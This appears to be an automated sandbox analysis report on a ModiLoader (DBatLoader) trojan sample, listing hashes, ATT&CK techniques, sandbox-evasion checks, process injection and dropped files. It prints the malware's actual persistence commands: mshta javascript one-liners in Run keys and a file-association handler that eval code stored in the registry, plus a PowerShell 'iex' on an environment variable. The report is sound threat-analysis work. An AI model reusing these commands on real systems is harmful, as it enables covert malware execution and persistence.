modiloader | 72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59d

Analysis

max time kernel
150s
max time network
155s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18-09-2024 15:38

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General

Target

72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe
Size

303KB
MD5

e365f643cb0ef6666351c0b791d63bb0
SHA1

9c6d363bd71f2bbdea5e5f54fadfd5b2fad6eb5d
SHA256

72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59d
SHA512

56e9fb13f0518730b1350b3cec6f31bd5a0b0833628e87bb1025659fcdc5e1c5c8b90af8edbc9bb21752f3b357e88a7bc8456f00abcbd1afe96f4364fbd53ab7
SSDEEP

6144:aSe2ihx5KEXUr6j9JQHOXEemcgkY3HU1dowtlo2yCUta0mcokLU:Jihwr82lemc/8HElgNRLU

Score

10^/10

modiloader discovery evasion execution persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2740	2576	mshta.exe	31

Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs

evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 64 IoCs

resource	yara_rule
behavioral1/memory/2720-0-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/2720-2-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/2720-3-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/2720-8-0x00000000009A0000-0x0000000000A76000-memory.dmp	modiloader_stage2
behavioral1/memory/2720-5-0x00000000009A0000-0x0000000000A76000-memory.dmp	modiloader_stage2
behavioral1/memory/2720-7-0x00000000009A0000-0x0000000000A76000-memory.dmp	modiloader_stage2
behavioral1/memory/2720-10-0x00000000009A0000-0x0000000000A76000-memory.dmp	modiloader_stage2
behavioral1/memory/2720-9-0x00000000009A0000-0x0000000000A76000-memory.dmp	modiloader_stage2
behavioral1/memory/2720-6-0x00000000009A0000-0x0000000000A76000-memory.dmp	modiloader_stage2
behavioral1/memory/2720-4-0x00000000009A0000-0x0000000000A76000-memory.dmp	modiloader_stage2
behavioral1/memory/2720-11-0x00000000009A0000-0x0000000000A76000-memory.dmp	modiloader_stage2
behavioral1/memory/2720-14-0x00000000009A0000-0x0000000000A76000-memory.dmp	modiloader_stage2
behavioral1/memory/2616-18-0x0000000005C90000-0x0000000005D66000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-20-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-19-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/2616-22-0x0000000005C90000-0x0000000005D66000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-30-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-29-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-28-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-27-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-26-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-25-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-24-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-23-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-31-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-38-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-37-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-36-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-35-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-34-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-33-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-32-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-54-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/2616-21-0x00000000027F0000-0x00000000047F0000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-62-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-53-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-52-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-51-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-50-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-45-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-61-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-44-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-43-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-42-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-41-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-40-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-39-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-71-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-73-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-86-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-84-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-85-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-82-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/1548-83-0x00000000000D0000-0x0000000000211000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-81-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-80-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-79-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-78-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-77-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-75-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-74-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-72-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2
behavioral1/memory/2720-105-0x00000000009A0000-0x0000000000A76000-memory.dmp	modiloader_stage2
behavioral1/memory/2176-76-0x0000000000130000-0x0000000000271000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

pid	Process
1548	regsvr32.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ed5072.lnk	regsvr32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:GvuZHI9=\"sv\";et67=new%20ActiveXObject(\"WScript.Shell\");dX5Hju=\"3\";u3g2Cw=et67.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\iuvjdch\\\\azua\");hDstz2W1=\"WzWSa\";eval(u3g2Cw);AUD5vU=\"YgbFsE\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:nmp0iLUq6=\"ovpXU\";ns51=new%20ActiveXObject(\"WScript.Shell\");cWWmF2Ai=\"GHVD3o\";C9BFZ4=ns51.RegRead(\"HKCU\\\\software\\\\iuvjdch\\\\azua\");zDF9BY=\"y\";eval(C9BFZ4);kyPdHW94=\"Y7el8\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\3d1107\\facfe4.lnk\""	regsvr32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2616	powershell.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1056 set thread context of 2720	1056	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe	30
PID 2616 set thread context of 1548	2616	powershell.exe	35
PID 1548 set thread context of 2176	1548	regsvr32.exe	36

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\243aec\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\243aec\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:YDu3N2=\"4qgAJRn\";wX9=new ActiveXObject(\"WScript.Shell\");a5qJc=\"SbzFTlj\";bkV1k2=wX9.RegRead(\"HKCU\\\\software\\\\iuvjdch\\\\azua\");vtyh3T=\"cCFW7\";eval(bkV1k2);HDgvd2y1=\"Vmhtu\";\""	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\.675646c	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\.675646c\ = "243aec"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\243aec	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\243aec\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\243aec\shell\open	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2616	powershell.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe
1548	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2616	powershell.exe
1548	regsvr32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2616	powershell.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 1056 wrote to memory of 2720	1056	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe	30
PID 1056 wrote to memory of 2720	1056	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe	30
PID 1056 wrote to memory of 2720	1056	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe	30
PID 1056 wrote to memory of 2720	1056	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe	30
PID 1056 wrote to memory of 2720	1056	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe	30
PID 1056 wrote to memory of 2720	1056	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe	30
PID 1056 wrote to memory of 2720	1056	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe	30
PID 1056 wrote to memory of 2720	1056	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe	30
PID 1056 wrote to memory of 2720	1056	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe	30
PID 1056 wrote to memory of 2720	1056	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe	30
PID 1056 wrote to memory of 2720	1056	72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe	30
PID 2740 wrote to memory of 2616	2740	mshta.exe	33
PID 2740 wrote to memory of 2616	2740	mshta.exe	33
PID 2740 wrote to memory of 2616	2740	mshta.exe	33
PID 2740 wrote to memory of 2616	2740	mshta.exe	33
PID 2616 wrote to memory of 1548	2616	powershell.exe	35
PID 2616 wrote to memory of 1548	2616	powershell.exe	35
PID 2616 wrote to memory of 1548	2616	powershell.exe	35
PID 2616 wrote to memory of 1548	2616	powershell.exe	35
PID 2616 wrote to memory of 1548	2616	powershell.exe	35
PID 2616 wrote to memory of 1548	2616	powershell.exe	35
PID 2616 wrote to memory of 1548	2616	powershell.exe	35
PID 2616 wrote to memory of 1548	2616	powershell.exe	35
PID 1548 wrote to memory of 2176	1548	regsvr32.exe	36
PID 1548 wrote to memory of 2176	1548	regsvr32.exe	36
PID 1548 wrote to memory of 2176	1548	regsvr32.exe	36
PID 1548 wrote to memory of 2176	1548	regsvr32.exe	36
PID 1548 wrote to memory of 2176	1548	regsvr32.exe	36
PID 1548 wrote to memory of 2176	1548	regsvr32.exe	36
PID 1548 wrote to memory of 2176	1548	regsvr32.exe	36
PID 1548 wrote to memory of 2176	1548	regsvr32.exe	36

C:\Users\Admin\AppData\Local\Temp\72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe
"C:\Users\Admin\AppData\Local\Temp\72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1056
- C:\Users\Admin\AppData\Local\Temp\72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe
  "C:\Users\Admin\AppData\Local\Temp\72dec13f3b56fc87616af8ddc876f3ba24c78633f8fd429528922f66e5b8a59dN.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2720

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:Me5ixHa3y="qi69j";zt86=new%20ActiveXObject("WScript.Shell");m6ocTOs="3RtW";f4c1YE=zt86.RegRead("HKLM\\software\\Wow6432Node\\GU4ZXPm9h\\PSnYif");Bl5TI="yv8J";eval(f4c1YE);Hs7TBCaW="jsj3";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2740
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:gcackcl
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Looks for VirtualBox drivers on disk
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Drops startup file
    - Adds Run key to start application
    - Maps connected drives based on registry
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1548
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

File and Directory Discovery

T1083

Peripheral Device Discovery

T1120

Query Registry

T1012

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\3d1107\1e9465.675646c

Filesize
40KB

MD5
bfb54d9aed90e48dc62a956df7a215e6

SHA1
9729c10718a3b7670f16200f5bed9ab7e7ed4a8e

SHA256
dd0577057da26442db1ee73a4b13a407c86847496e796922a2f5e6708f10d47e

SHA512
58a1f9a13c3e0a5cc2f2d4c55e62e74ba84586d095b189149b18d4b7f781d69af0d6a08413589e24406dab021c51e60f887a8017727e584303b9bc5dfcaaba07

Download Submit
C:\Users\Admin\AppData\Local\3d1107\497eca.bat

Filesize
61B

MD5
20320415e009645e0dcfded4c89db6b9

SHA1
dbb8129e3372a017a3a2127c635c60adc55d4c7e

SHA256
645398440d7d9e6edabf36abea5e3b6516d2c44fd3142e3d891688c9667a68ce

SHA512
56d09838921ca1fc8ee4fabff38b4ff86549a24451c73ad39759c8cd26f4eedec313a902625a53cee4e35240fc36ab33a159c87e1d75ad712ad301f6840be4db

Download Submit
C:\Users\Admin\AppData\Local\3d1107\facfe4.lnk

Filesize
877B

MD5
6c978a06f2ca304f49a77e9f0962679c

SHA1
0bcb7ec802755a00802e26061a7b0a098d536890

SHA256
de31e8d72ea3686920485cade72a6910fe156b5dd20887ed681c5e0e8f6328e5

SHA512
377045a514d7fc265d795af97be79def433f71bc050662602b0ad4cb06f9fdcbff0373b420e32b271c9fc9e97b1aff4df21fd2bf912dc00dbf97b1fdefe987f7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ed5072.lnk

Filesize
987B

MD5
70cccb805192e5a3c3465a188abf6380

SHA1
1ed5fe548a609784ba76e7d25bfad25b54355669

SHA256
1879bd3540448733980ff3c2b9b7f19a41e1bd3fa3d576c240be895c28b1f0fa

SHA512
bc9fd1222845ec19dfbada411ed2389eaec23a9bdeb2ad6a6b1548eb6fef96c1d50236a66e1167b3e8a610eb55ccc4d7fdf7c4cd320ccf97bb52fb5e1861ad73

Download Submit
C:\Users\Admin\AppData\Roaming\a41be5\df03b2.675646c

Filesize
11KB

MD5
df91d750c9599e5e791ff071932ffb9b

SHA1
f6e2dc78bb92fa1ea741702d36861eb454a693fc

SHA256
89f3fc3fdc55a207427d1784b142330dd6859318ab47b0abc3f49b80521cd024

SHA512
0e0e440bd156a73308a35f238d308aa85c4483c2162a78fd687d6401aa4248954811a2ea61a7a5e96f026d3448ab56731c0d491031825c580eec606c3de53601

Download Submit
memory/1548-44-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-23-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-19-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-30-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-68-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-69-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-70-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-43-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-28-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-27-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-26-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-25-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-24-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-42-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-31-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-38-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-37-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-41-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-35-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-34-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-33-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-32-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-54-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-83-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-62-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-53-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-52-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-51-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-50-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-45-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-61-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-20-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-29-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-85-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-36-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-40-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-39-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/1548-71-0x00000000000D0000-0x0000000000211000-memory.dmp

Filesize
1.3MB

Download
memory/2176-86-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2176-82-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2176-73-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2176-72-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2176-76-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2176-75-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2176-81-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2176-80-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2176-79-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2176-78-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2176-77-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2176-84-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2176-74-0x0000000000130000-0x0000000000271000-memory.dmp

Filesize
1.3MB

Download
memory/2616-22-0x0000000005C90000-0x0000000005D66000-memory.dmp

Filesize
856KB

Download
memory/2616-21-0x00000000027F0000-0x00000000047F0000-memory.dmp

Filesize
32.0MB

Download
memory/2616-18-0x0000000005C90000-0x0000000005D66000-memory.dmp

Filesize
856KB

Download
memory/2720-0-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/2720-10-0x00000000009A0000-0x0000000000A76000-memory.dmp

Filesize
856KB

Download
